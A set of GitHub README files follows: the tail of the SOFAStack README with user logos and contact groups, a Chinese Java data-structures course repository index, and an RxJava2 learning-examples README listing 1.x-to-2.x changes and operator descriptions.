src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*huOKQKvoLzwAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="山东网聪" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*INUFR7XIH1gAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="深圳市诺安赛威" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*eVGbR7RhDDkAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="上扬软件" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*VsqMT7n7p0AAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="长沙点三" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*2eEzSqdPIc0AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="网易云音乐" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*66KbQ6seDqoAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="虎牙直播" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*uzr3RLUZ3RwAAAAAAAAAAABkARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="中国移动" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*vEo-T55XTOAAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="无纸科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*9aFQSLfyPhMAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="黄金钱包" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*tYZJRpANxNoAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="独木桥网络" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*GW6oTLIlAbcAAAAAAAAAAABkARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="wueasy" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*4uFWQacI-RwAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="北京攸乐科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*CD5VT50FXqMAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="易宝支付" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*oy0ZSquXXjAAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="威马汽车" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*LPf2TbTeJPwAAAAAAAAAAABkARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="亿通国际" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*tlq4R7QqUaEAAAAAAAAAAABkARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="新华三" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*gw9uTbZvsbAAAAAAAAAAAAAAARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="klilalagroup" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*0cskToqBSi8AAAAAAAAAAAAAARQnAQ" height="60" /> </td> <td align="center" valign="middle"> </td> </tr> </table> </div> # 7. 联系我们 - 微信 - 公众号：金融级分布式架构（Antfin_SOFA）：致力于打造一流的分布式技术在金融场景应用实践的技术交流平台，专注于交流金融科技行业内最前沿、可供参考的技术方案与实施路线。 <img alt="Wechat" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*LVCnR6KtEfEAAAAAAAAAAABjARQnAQ" height="250" /> - 钉钉 - 钉钉交流群： - ~~金融级分布式架构 SOFAStack 1群，群号：23127468~~ 已满 - ~~金融级分布式架构 SOFAStack 2群，群号：23195297~~ 已满 - ~~金融级分布式架构 SOFAStack 3群，群号：23390449~~ 已满 - ~~金融级分布式架构 SOFAStack 4群，群号：23372465~~ 已满 - ~~金融级分布式架构 SOFAStack 5群，群号：30315793~~ 已满 - 金融级分布式架构 SOFAStack 6群，群号：34197075 <img alt="DingTalk" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*SIFWTr5brrkAAAAAAAAAAAAAARQnAQ" height="250" /> - 钉钉交流群：SOFAStack 金牌用户服务群，如果您已经在生产环境使用了 SOFAStack 相关组件，还请告知我们，我们将会邀请您加入到此群中，以便更加快捷的沟通和更加高效的线上使用问题支持。

liuyubobobo/Play-with-Data-Structures

Codes of my MOOC Course <Play Data Structures in Java>. Updated contents and practices are also included. 我在慕课网上的课程《Java语言玩转数据结构》示例代码。课程的更多更新内容及辅助练习也将逐步添加进这个代码仓。

2018-03-21T08:16:18Z

## 玩儿转数据结构 - 课程官方代码仓 大家好， 欢迎大家来到我在[慕课网](http://www.imooc.com/)上的实战课程[《玩儿转数据结构》](https://coding.imooc.com/class/207.html)的官方代码仓。这个代码仓将不仅仅包含课程的所有源代码，还将发布课程的更新相关内容，勘误信息以及计划的更多可以丰富课程的内容，如更多分享，多多练习，等等等等。课程全部使用Java语言讲解，课程代码仓暂时只提供Java语言版本。 大家可以下载、运行、测试、修改。如果你发现了任何bug，或者对课程中的任何内容有意见或建议，欢迎和我联系：） **个人网站**：[liuyubobobo.com](http://liuyubobobo.com) [废弃重整中...] **电子邮件**：[liuyubobobo@gmail.com](mailto:liuyubobobo@gmail.com) **微博**: [刘宇波bobo http://weibo.com/liuyubobobo](http://weibo.com/liuyubobobo) **知乎**: [刘宇波 http://www.zhihu.com/people/liuyubobobo](http://www.zhihu.com/people/liuyubobobo) **知乎专栏：**[是不是很酷 https://zhuanlan.zhihu.com/liuyubobobo](https://zhuanlan.zhihu.com/liuyubobobo) **个人公众号：是不是很酷**：）  ## 更多说明 * 每一章后面有补充代码的部分。**课程本身已经独立成体系，补充内容只是额外拓展，不影响课程整体的学习。对于课程整体学习，可以忽略。建议先完成课程必要部分学习，再酌情研究补充内容。** * 对于补充代码部分的内容，大多是课程中提及的拓展内容。对于这部分内容，我会**不定期更新代码，但不保证时间**。放在课程目录中，主要是供大家拓展思路使用。大家也可以理解成是思考练习，可以自行编写代码练习完成补充内容，相信是很好的编程锻炼：）当然，有任何问题可以在问答区进行提问。 * **课程讲义的PDF版本不在github上提供**，大家可以在慕课网上 "下载 -> 查看讲师源码" 中各个章节文件夹下找到。 * **请不要使用github，微信，QQ，邮件进行答疑。** 请使用课程问答区进行答疑。谢谢！ ## 更多相关代码仓 * [**《算法与数据结构》课程**](https://coding.imooc.com/class/71.html), 代码仓: [Play-with-Algorithms](https://github.com/liuyubobobo/Play-with-Algorithms) * [**《玩转算法面试》课程**](https://coding.imooc.com/class/82.html), 代码仓: [Play-with-Algorithm-Interview](https://github.com/liuyubobobo/Play-with-Algorithm-Interview) * [**《看得见的算法》课程**](https://coding.imooc.com/class/138.html), 代码仓: [Play-with-Algorithm-Visualization](https://github.com/liuyubobobo/Play-with-Algorithm-Visualization) * 我的**LeetCode题解代码仓**：[Play Leetcode](https://github.com/liuyubobobo/Play-Leetcode) （注：以C++实现为主） * **LeetCode Explore题解代码仓**：[Play Leetcode Explore](https://github.com/liuyubobobo/Play-Leetcode-Explore) （注：以C++实现为主） * [Leetcode Explore](https://leetcode.com/explore/) 是 Leetcode 在2017年底上线的新模块，分门别类地整理了Leetcode上的问题。如果刷Leetcode一时不知从哪里下手，可以从Leetcode Explore为指引开始：） ## 更多推荐 * 感谢学习课程的大佬 [**@Donng**](https://github.com/Donng) 同学使用 **Go** 完成了课程的全部内容。有使用Go学习课程的同学，可以去大佬的代码仓观望。传送门：[https://github.com/Donng/Play-with-Data-Structures](https://github.com/Donng/Play-with-Data-Structures) * 感谢学习课程的大佬 [**@nicemayi**](https://github.com/nicemayi) 同学使用 **Python** 完成了课程的全部内容。有使用Python学习课程的同学，可以去大佬的代码仓观望。传送门：[https://github.com/nicemayi/play-with-data-structures](https://github.com/nicemayi/play-with-data-structures) * 感谢学习课程的大佬 [**@houpengfei88**](https://github.com/houpengfei88) 同学使用 **C++** 完成了课程的全部内容。有使用C++学习课程的同学，可以去大佬的代码仓观望。传送门：[https://github.com/houpengfei88/Play-with-Data-Structures](https://github.com/houpengfei88/Play-with-Data-Structures) * 感谢学习课程的大佬 [**@biaodigit**](https://github.com/biaodigit) 同学使用 **JS** 完成了课程的全部内容。有使用JS学习课程的同学，可以去大佬的代码仓观望。传送门：[https://github.com/biaodigit/Play-with-Data-Structures](https://github.com/biaodigit/Play-with-Data-Structures) * 感谢学习课程的大佬 [**@田小号**](https://github.com/tianxiaohao1) 基于Canvas实现的诸多数据结构可视化。有兴趣的同学可以去大佬的代码仓围观。同时，[**@田小号**](https://github.com/tianxiaohao1) 还基于Canvas实现了我的《修炼算法内功》和《看得见的算法》两门课程中诸多算法和数据结构的可视化内容，大家不要错过！ 代码仓传送门：[**https://github.com/tianxiaohao1/codding.cn/tree/master/algo**](https://github.com/tianxiaohao1/codding.cn/tree/master/algo)  ## 课程源码目录 | **第一章 欢迎大家学习《玩儿转数据结构》** | [无代码] | | :--- | :---: | | 1-1 欢迎大家学习《玩儿转数据结构》 | [无代码] | | 1-2 学习数据结构（和算法）到底有没有用？ | [无代码] | | 1-3 课程学习的更多注意事项 | [无代码] | | 1-4 课程编程环境的安装 | [无代码] | | 1-5 关于课程的其他语言支持：Python 和 C++ | [无代码] | | **第二章 不要小瞧数组** | [章节Java源码](02-Arrays/) | | 2-1 使用Java中的数组 | [Java](02-Arrays/01-Array-Basics/src/) | | 2-2 二次封装属于我们自己的数组 | [Java](02-Arrays/02-Create-Our-Own-Array/src/) | | 2-3 向数组中添加元素 | [Java](02-Arrays/03-Add-Element-in-Array/src/) | | 2-4 数组中查询元素和修改元素 | [Java](02-Arrays/04-Query-and-Update-Element/src/) | | 2-5 包含，搜索和删除 | [Java](02-Arrays/05-Contain-Find-and-Remove/src/) | | 2-6 使用泛型 | [Java](02-Arrays/06-Generic-Data-Structures/src/) | | 2-7 动态数组 | [Java](02-Arrays/07-Dynamic-Array/src/) | | 2-8 简单的复杂度分析 | [无代码] | | 2-9 均摊复杂度和防止复杂度的震荡 | [Java](02-Arrays/09-Amortized-Time-Complexity/src/) | | **第三章 栈和队列** | [章节Java源码](03-Stacks-and-Queues/) | | 3-1 栈和栈的应用：撤销操作和系统栈 | [无代码] | | 3-2 栈的基本实现 | [Java](03-Stacks-and-Queues/02-Array-Stack/src/) | | 3-3 栈的另一个应用：括号匹配 | [Java](03-Stacks-and-Queues/03-A-Stack-Problem-in-Leetcode/src/) | | 3-4 关于Leetcode的更多说明 | [Java](03-Stacks-and-Queues/04-More-about-Leetcode/src/) | | 3-5 数组队列 | [Java](03-Stacks-and-Queues/05-Array-Queue/src/) | | 3-6 循环队列 | [Java](03-Stacks-and-Queues/06-Loop-Queue/src/) | | 3-7 循环队列的实现 | [Java](03-Stacks-and-Queues/07-Implementation-of-Loop-Queue/src/) | | 3-8 数组队列和循环队列的比较 | [Java](03-Stacks-and-Queues/08-Queues-Comparison/src/) | | 补充代码1: 不浪费一个空间的循环队列 | [Java](03-Stacks-and-Queues/Optional-01-Loop-Queue-without-Wasting-One-Space/src/) | | 补充代码2: 没有size成员变量的循环队列 | [Java](03-Stacks-and-Queues/Optional-02-Loop-Queue-without-Size-Member/src/) | | **第四章 最基础的动态数据结构：链表** | [章节Java源码](04-Linked-List/) | | 4-1 什么是链表 | [Java](04-Linked-List/01-Linked-List-Basics/src/) | | 4-2 在链表中添加元素 | [Java](04-Linked-List/02-Add-Elements-in-LinkedList/src/) | | 4-3 使用链表的虚拟头结点 | [Java](04-Linked-List/03-DummyHead-in-LinkedList/src/) | | 4-4 链表的遍历，查询和修改 | [Java](04-Linked-List/04-Query-and-Update-in-LinkedList/src/) | | 4-5 从链表中删除元素 | [Java](04-Linked-List/05-Remove-Element-in-LinkedList/src/) | | 4-6 使用链表实现栈 | [Java](04-Linked-List/06-Implement-Stack-in-LinkedList/src/) | | 4-7 带有尾指针的链表：使用链表实现队列 | [Java](04-Linked-List/07-Implement-Queue-in-LinkedList/src/) | | **第五章 透过链表看递归** | [章节Java源码](05-Recursion/) | | 5-1 Leetcode中和链表相关的问题 | [Java](05-Recursion/01-Linked-List-Problems-in-Leetcode/src/) | | 5-2 测试自己的Leetcode链表代码 | [Java](05-Recursion/02-Test-Your-LinkedList-Solution/src/) | | 5-3 递归基础与递归的宏观语意 | [Java](05-Recursion/03-Recursion-Basics/src/) | | 5-4 链表与递归 | [Java](05-Recursion/04-LinkedList-and-Recursion/src/) | | 5-5 递归运行的机制：递归的微观解读 | [无代码] | | 5-6 递归算法的调试 | [Java](05-Recursion/06-Debug-Recursive-Solution/src/) | | 5-7 更多和链表相关的问题 | [无代码] | | 补充代码1: 单链表的递归实现 | [Java](05-Recursion/Optional-01-Recursive-LinkedList/src/) | | 补充代码2: 斯坦福大学单链表的18个问题 | PDF参见慕课网上讲师源代码 | | 补充代码3: 双链表 | [整理中，敬请期待] | | 补充代码4: 循环双链表 | [整理中，敬请期待] | | 补充代码5: 数组链表 | [整理中，敬请期待] | | **第六章 二分搜索树** | [章节Java源码](06-Binary-Search-Tree/) | | 6-1 为什么要研究树结构 | [无代码] | | 6-2 二分搜索树基础 | [Java](06-Binary-Search-Tree/02-Binary-Search-Tree-Basics/src/) | | 6-3 向二分搜索树中添加元素 | [Java](06-Binary-Search-Tree/03-Add-Elements-in-BST/src/) | | 6-4 改进添加操作：深入理解递归终止条件 | [Java](06-Binary-Search-Tree/04-Improved-Add-Elements-in-BST/src/) | | 6-5 二分搜索树的查询操作 | [Java](06-Binary-Search-Tree/05-Search-in-BST/src/) | | 6-6 二分搜索树的前序遍历 | [Java](06-Binary-Search-Tree/06-PreOrder-Traverse-in-BST/src/) | | 6-7 二分搜索树的中序遍历和后序遍历 | [Java](06-Binary-Search-Tree/07-InOrder-and-PostOrder-Traverse-in-BST/src/) | | 6-8 深入理解二分搜索树的前中后序遍历 | [无代码] | | 6-9 二分搜索树前序遍历的非递归实现 | [Java](06-Binary-Search-Tree/09-Non-Recursion-Preorder-Traverse-in-BST/src/) | | 6-10 二分搜索树的层序遍历 | [Java](06-Binary-Search-Tree/10-Level-Traverse-in-BST/src/) | | 6-11 删除二分搜索树的最大元素和最小元素 | [Java](06-Binary-Search-Tree/11-Remove-Min-and-Max-in-BST/src/) | | 6-12 删除二分搜索树的任意元素 | [Java](06-Binary-Search-Tree/12-Remove-Elements-in-BST/src/) | | 6-13 更多二分搜索树相关话题 | [无代码] | | 补充代码1: 斯坦福大学Binary Tree相关问题 | PDF参见慕课网上讲师源代码 | | 补充代码2: 斯坦福大学Tree List相关问题 | PDF参见慕课网上讲师源代码 | | 补充代码3: 二叉树前中后序非递归遍历的经典实现 | [Java](06-Binary-Search-Tree/Optional-03-Binary-Tree-Classic-Nonrecursive-Traversal/) | | 补充代码4: 模拟系统栈前中后序遍历的非递归实现 | [玩转算法面试，第六章2，3小节](https://coding.imooc.com/lesson/82.html#mid=2675) | | 补充代码5: 二叉树Morris遍历前中后序实现 | [Java](06-Binary-Search-Tree/Optional-05-Binary-Tree-Morris-Traversal/src/) | | 补充代码6: 二分搜索树其他方法的非递归实现 | [整理中，敬请期待] | | 补充代码7: 前驱和后继操作 | [整理中，敬请期待] | | 补充代码8: floor和ceil操作 | [整理中，敬请期待] | | 补充代码9: 节点内维护size的二分搜索树 | [整理中，敬请期待] | | 补充代码10: rank和select操作 | [整理中，敬请期待] | | 补充代码11: 节点内维护depth的二分搜索树 | [整理中，敬请期待] | | 补充代码12: 节点内维护count的二分搜索树<br/>(支持重复元素的二分搜索树) | [整理中，敬请期待] | | 补充代码13: 有重复元素节点的二分搜索树<br/>(另一种支持重复元素的二分搜索树实现) | [整理中，敬请期待] | | **第七章 集合和映射** | [章节Java源码](07-Set-and-Map/) | | 7-1 集合基础和基于二分搜索树的集合实现 | [Java](07-Set-and-Map/01-Set-Basics-and-BSTSet/src/) | | 7-2 基于链表的集合实现 | [Java](07-Set-and-Map/02-LinkedListSet/src/) | | 7-3 集合类的复杂度分析 | [Java](07-Set-and-Map/03-Time-Complexity-of-Set/src/) | | 7-4 Leetcode中的集合问题和更多集合相关问题 | [Java](07-Set-and-Map/04-TreeSet-and-Set-Problems-in-Leetcode/src/) | | 7-5 映射基础 | [Java](07-Set-and-Map/05-Map-Basics/src/) | | 7-6 基于链表的映射实现 | [Java](07-Set-and-Map/06-LinkedListMap/src/) | | 7-7 基于二分搜索树的映射实现 | [Java](07-Set-and-Map/07-BSTMap/src/) | | 7-8 映射的复杂度分析和更多映射相关问题 | [Java](07-Set-and-Map/08-More-about-Map/src/) | | 7-9 Leetcode上更多集合和映射的问题 | [Java](07-Set-and-Map/09-Leetcode-Problems-about-Map-and-Set/src/) | | 补充代码1: 更完整的基于二分搜索树的有序集合 | [整理中，敬请期待] | | 补充代码2: 不同底层实现的有序集合对比 | [整理中，敬请期待] | | 补充代码3: 更完整的基于二分搜索树的有序映射 | [整理中，敬请期待] | | 补充代码4: 不同底层实现的有序映射对比 | [整理中，敬请期待] | | 补充代码5: 多重集合 | [整理中，敬请期待] | | 补充代码6: 多重映射 | [整理中，敬请期待] | | 补充代码7: 基于映射实现的集合 | [整理中，敬请期待] | | **第八章 堆和优先队列** | [章节Java源码](08-Heap-and-Priority-Queue/) | | 8-1 什么是优先队列 | [无代码] | | 8-2 堆的基础表示 | [Java](08-Heap-and-Priority-Queue/02-Heap-Basics/src/) | | 8-3 向堆中添加元素和Sift Up | [Java](08-Heap-and-Priority-Queue/03-Add-and-Sift-Up-in-Heap/src/) | | 8-4 从堆中取出元素和Sift Down | [Java](08-Heap-and-Priority-Queue/04-Extract-and-Sift-Down-in-Heap/src/) | | 8-5 Heapify 和 Replace | [Java](08-Heap-and-Priority-Queue/05-Heapify-and-Replace-in-Heap/src/) | | 8-6 基于堆的优先队列 | [Java](08-Heap-and-Priority-Queue/06-Priority-Queue/src/) | | 8-7 Leetcode上优先队列相关问题 | [Java](08-Heap-and-Priority-Queue/07-Priority-Queue-Problems-in-Leetcode/src/) | | 8-8 Java中的PriorityQueue | [Java](08-Heap-and-Priority-Queue/08-Priority-Queue-in-Java/src/) | | 8-9 和堆相关的更多话题和广义队列 | [无代码] | | 补充代码1: 普通线性结构和顺序线性结构实现的优先队列 | [整理中，敬请期待] | | 补充代码2: 最小堆 | [整理中，敬请期待] | | 补充代码3: 堆排序 | [整理中，敬请期待] | | 补充代码4: 索引堆 | [整理中，敬请期待] | | 补充代码5: 双向优先队列 | [整理中，敬请期待] | | 补充代码6: 多叉堆 | [整理中，敬请期待] | | 补充代码7: 二项堆 | [整理中，敬请期待] | | 补充代码8: 斐波那契堆 | [整理中，敬请期待] | | 补充代码9: 基于事件堆的粒子检测碰撞 | [整理中，敬请期待] | | **第九章 线段树** | [章节Java源码](09-Segment-Tree/) | | 9-1 什么是线段树 | [无代码] | | 9-2 线段树基础表示 | [Java](09-Segment-Tree/02-Segment-Tree-Basics/src/) | | 9-3 创建线段树 | [Java](09-Segment-Tree/03-Building-Segment-Tree/src/) | | 9-4 线段树中的区间查询 | [Java](09-Segment-Tree/04-Query-in-Segment-Tree/src/) | | 9-5 Leetcode上线段树相关的问题 | [Java](09-Segment-Tree/05-Segment-Tree-Problems-in-Leetcode/src/) | | 9-6 线段树中的更新操作 | [Java](09-Segment-Tree/06-Update-Single-Element-in-Segment-Tree/src/) | | 9-7 更多线段树相关的话题 | [无代码] | | 补充代码1: 使用节点表示的线段树 | [整理中，敬请期待] | | 补充代码2: 链式存储的线段树 | [整理中，敬请期待] | | 补充代码3: 动态线段树 | [整理中，敬请期待] | | 补充代码4: 线段树的懒惰传播 | [整理中，敬请期待] | | 补充代码5: 二维线段树 | [整理中，敬请期待] | | 补充代码6: 树状数组(Binary Index Tree) | [整理中，敬请期待] | | 补充代码7: RMQ问题 | [整理中，敬请期待] | | **第十章 Trie** | [章节Java源码](10-Trie/) | | 10-1 什么是Trie字典树 | [无代码] | | 10-2 Trie字典树基础 | [Java](10-Trie/02-Trie-Basics/src/) | | 10-3 Trie字典树的查询 | [Java](10-Trie/03-Searching-in-Trie/src/) | | 10-4 Trie字典树的前缀查询 | [Java](10-Trie/04-Prefix-in-Trie/src/) | | 10-5 Trie字典树和简单的模式匹配 | [Java](10-Trie/05-Trie-and-Pattern-Match/src/) | | 10-6 Trie字典树和字符串映射 | [Java](10-Trie/06-Trie-and-Map/src/) | | 10-7 更多和Trie字典树相关的话题 | [无代码] | | 10-8 [文字补充] 基于哈希表或者数组的Trie | [Java](10-Trie/08-Trie-Using-HashMap-and-Array/src/) | | 补充代码1: Trie的递归实现 | [Java](10-Trie/Optional-01-Trie-in-Recursion/src/) | | 补充代码2: 使用Trie删除元素 | [Java](10-Trie/Optional-02-Trie-Delete/src/) | | 补充代码3: TrieSet和TrieMap | [整理中，敬请期待] | | 补充代码4: 压缩字典树 | [整理中，敬请期待] | | 补充代码5: 三分搜索Trie (Ternary Search Trie) | [整理中，敬请期待] | | 补充代码6: 子串查询算法 | [整理中，敬请期待] | | 补充代码7: 文件压缩算法 | [整理中，敬请期待] | | 补充代码8: 模式匹配算法 | [整理中，敬请期待] | | **第十一章 并查集** | [章节Java源码](11-Union-Find/) | | 11-1 什么是并查集 | [Java](11-Union-Find/01-What-is-UnionFind/src/) | | 11-2 Quick Find | [Java](11-Union-Find/02-Quick-Find/src/) | | 11-3 Quick Union | [Java](11-Union-Find/03-Quick-Union/src/) | | 11-4 基于size的优化 | [Java](11-Union-Find/04-Optimized-by-Size/src/) | | 11-5 基于rank的优化 | [Java](11-Union-Find/05-Optimized-by-Rank/src/) | | 11-6 路径压缩 | [Java](11-Union-Find/06-Path-Compression/src/) | | 11-7 更多和并查集相关的话题 | [Java](11-Union-Find/07-More-about-Union-Find/src/) | | **第十二章 平衡树和AVL** | [章节Java源码](12-AVL-Tree/) | | 12-1 平衡树和AVL | [无代码] | | 12-2 计算节点的高度和平衡因子 | [Java](12-AVL-Tree/02-Calculating-Balance-Factor/src/) | | 12-3 检查二分搜索树性质和平衡性 | [Java](12-AVL-Tree/03-Checking-Balancing-and-Binary-Search-Property/src/) | | 12-4 旋转操作的基本原理 | [Java](12-AVL-Tree/04-Rotation-Operations/src/) | | 12-5 左旋转和右旋转的实现 | [Java](12-AVL-Tree/05-The-Implementation-of-Left-Rotation-and-Right-Rotation/src/) | | 12-6 LR 和 RL | [Java](12-AVL-Tree/06-LR-and-RL/src/) | | 12-7 从AVL树中删除元素 | [Java](12-AVL-Tree/07-Remove-Elements-in-AVL-Tree/src/) | | 12-8 基于AVL树的集合和映射 | [Java](12-AVL-Tree/08-Map-and-Set-in-AVL-Tree/src/) | | 补充代码1: AVL树的优化 | [整理中，敬请期待] | | **第十三章 红黑树** | [章节Java源码](13-Red-Black-Tree/) | | 13-1 红黑树与2-3树 | [无代码] | | 13-2 2-3树的绝对平衡性 | [无代码] | | 13-3 红黑树与2-3树的等价性 | [Java](13-Red-Black-Tree/03-The-Equivalence-of-RBTree-and-2-3-Tree/src/) | | 13-4 红黑树的基本性质和复杂度分析 | [无代码] | | 13-5 保持根节点为黑色和左旋转 | [Java](13-Red-Black-Tree/05-Keep-Root-Black-and-Left-Rotation/src/) | | 13-6 颜色翻转和右旋转 | [Java](13-Red-Black-Tree/06-Flip-Colors-and-Right-Rotation/src/) | | 13-7 红黑树中添加新元素 | [Java](13-Red-Black-Tree/07-Adding-Elements-in-Red-Black-Tree/src/) | | 13-8 红黑树的性能测试 | [Java](13-Red-Black-Tree/08-The-Performance-of-Red-Black-Tree/src/) | | 13-9 更多红黑树相关的话题 | [无代码] | | 13-10 [文字补充] 红黑树任何不平衡都可以在三次旋转内解决？ | [无代码] | | 补充代码1: 红黑树中的删除最大元素 | [整理中，敬请期待] | | 补充代码2: 红黑树中的删除最小元素 | [整理中，敬请期待] | | 补充代码3: 红黑树中的删除任意元素 | [整理中，敬请期待] | | 补充代码4: 基于红黑树的集合和映射 | [整理中，敬请期待] | | 补充代码5: 右倾红黑树 | [整理中，敬请期待] | | 补充代码6: 《算法导论》中红黑树的实现 | [整理中，敬请期待] | | 补充代码7: 2-3 树的实现 | [整理中，敬请期待] | | 补充代码8: 伸展树 Splay Tree | [整理中，敬请期待] | | **第十四章 哈希表** | [章节Java源码](14-Hash-Table/) | | 14-1 哈希表基础 | [Java](14-Hash-Table/01-Hash-Table-Basics/src/) | | 14-2 哈希函数 | [无代码] | | 14-3 Java中的hashCode方法 | [Java](14-Hash-Table/03-Hash-Function-in-Java/src/) | | 14-4 链地址法 Seperate Chaining | [无代码] | | 14-5 实现属于我们自己的哈希表 | [Java](14-Hash-Table/05-Hash-Table-Implementation/src/) | | 14-6 哈希表的动态空间处理与复杂度分析 | [Java](14-Hash-Table/06-Resizing-in-Hash-Table/src/) | | 14-7 哈希表更复杂的动态空间处理方法 | [Java](14-Hash-Table/07-More-About-Resizing-in-Hash-Table/src/) | | 14-8 更多哈希冲突的处理方法 | [无代码] | | 补充代码1: 每个地址存储链表的哈希表 | [整理中，敬请期待] | | 补充代码2: 每个地址可以从链表转换到红黑树的哈希表 | [整理中，敬请期待] | | 补充代码3: 基于哈希表的无序映射和无序集合 | [整理中，敬请期待] | | 补充代码4: 开放地址线性探测解决哈希冲突 | [整理中，敬请期待] | | 补充代码5: 开放地址二次探测解决哈希冲突 | [整理中，敬请期待] | | 补充代码6: 开放地址双重哈希解决哈希冲突 | [整理中，敬请期待] | | 补充代码7: 再哈希法解决哈希冲突 | [整理中，敬请期待] | | 补充代码8: Coalesced Hashing | [整理中，敬请期待] | | **第十五章 结语** | [无代码] | | 15-1 更广阔的数据结构的世界，大家加油！ | [无代码] | | 15-2 [文字补充]更多数据结构的练习：） | [无代码] | | **第十六章 补充章节：B类树** | [更新中，敬请期待] | | [由于B类树不是课程最初规划内容] | [更新时间待定，敬请期待] | --- **课程讲义的PDF版本不在github上提供**，大家可以在慕课网上 "下载 -> 查看讲师源码" 中各个章节文件夹下找到。 **大家加油！：）**

nanchen2251/RxJava2Examples

:fire:RxJava2 Examples —— 这可能是从 RxJava1 跳到 RxJava2（学习 RxJava2 ）最好的例子 Demo：https://github.com/nanchen2251/RxJava2Examples

2017-06-19T05:38:45Z

# RxJava2Examples ### RxJava2 Examples——它可能是从RxJava1跳到RxJava2（学习RxJava2）最好的例子Demo > RxJava 1.x 到 RxJava 2.x 的无缝对接 无需学习 RxJava 1.x, 直接学习 RxJava 2.x 完备齐全的操作符示例 支持与 Retrofit 交互处理示例 Activity 基类封装处理 ### 文章链接： [这可能是最好的 RxJava 2.x 入门教程（完结版）](http://www.jianshu.com/p/0cd258eecf60)<br> [这可能是最好的 RxJava 2.x 入门教程（一）](http://www.jianshu.com/p/a93c79e9f689)<br> [这可能是最好的 RxJava 2.x 入门教程（二）](http://www.jianshu.com/p/b39afa92807e)<br> [这可能是最好的 RxJava 2.x 入门教程（三）](http://www.jianshu.com/p/e9c79eacc8e3)<br> [这可能是最好的 RxJava 2.x 入门教程（四）](http://www.jianshu.com/p/c08bfc58f4b6)<br> [这可能是最好的 RxJava 2.x 入门教程（五）](http://www.jianshu.com/p/81fac37430dd)<br> ### 关于作者    南尘<br>    四川成都<br>    [其它开源](https://github.com/nanchen2251/)<br>    [个人博客](https://nanchen2251.github.io/)<br>    [简书](http://www.jianshu.com/u/f690947ed5a6)<br>    [博客园](http://www.cnblogs.com/liushilin/)<br>    交流群：118116509 <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=e6ad4af66393684e1d0c9441403b049d2d5670ec0ce9f72150e694cbb7c16b0a"><img border="0" src="http://pub.idqqimg.com/wpa/images/group.png" alt="Android神技侧漏交流群" title="Android神技侧漏交流群"></a>( 点击图标即可加入 )<br>    欢迎投稿(关注)我的唯一公众号，公众号搜索 nanchen 或者扫描下方二维码：<br>     ### Just a gif  ### RxJava 1.x 到 RxJava 2.x 变化一览 RxJava 1.x -> RxJava 2.x * `onCompleted` -> `onComplete` - without the trailing d * `Func1` -> `Function` * `Func2` -> `BiFunction` * `CompositeSubscription` -> `CompositeDisposable` * `limit` operator has been removed - Use `take` in RxJava2 * and much more. ### 一些操作符的解释 * `Map` -> transform the items emitted by an Observable by applying a function to each item * `Zip` -> combine the emissions of multiple Observables together via a specified function and emit single items for each combination based on the results of this function * `Filter` -> emit only those items from an Observable that pass a predicate test * `FlatMap` -> transform the items emitted by an Observable into Observables, then flatten the emissions from those into a single Observable * `Take` -> emit only the first n items emitted by an Observable * `Reduce` -> apply a function to each item emitted by an Observable, sequentially, and emit the final value * `Skip` -> suppress the first n items emitted by an Observable * `Buffer` -> periodically gather items emitted by an Observable into bundles and emit these bundles rather than emitting the items one at a time * `Concat` -> emit the emissions from two or more Observables without interleaving them * `Replay` -> ensure that all observers see the same sequence of emitted items, even if they subscribe after the Observable has begun emitting items * `Merge` -> combine multiple Observables into one by merging their emissions ### 尽情地下载运行，开始感受RxJava 2.x 的强大魅力吧~ ### 为这个例子pull你的伟大代码，加入分享这个大家庭，Just to do! ### 该例子借鉴了以下项目： * [https://github.com/amitshekhariitbhu/RxJava2-Android-Samples](https://github.com/amitshekhariitbhu/RxJava2-Android-Samples)     #### 有码走遍天下 无码寸步难行（引自网络） > 1024 - 梦想，永不止步! 爱编程 不爱Bug 爱加班 不爱黑眼圈 固执 但不偏执 疯狂 但不疯癫 生活里的菜鸟 工作中的大神 身怀宝藏，一心憧憬星辰大海 追求极致，目标始于高山之巅 一群怀揣好奇，梦想改变世界的孩子 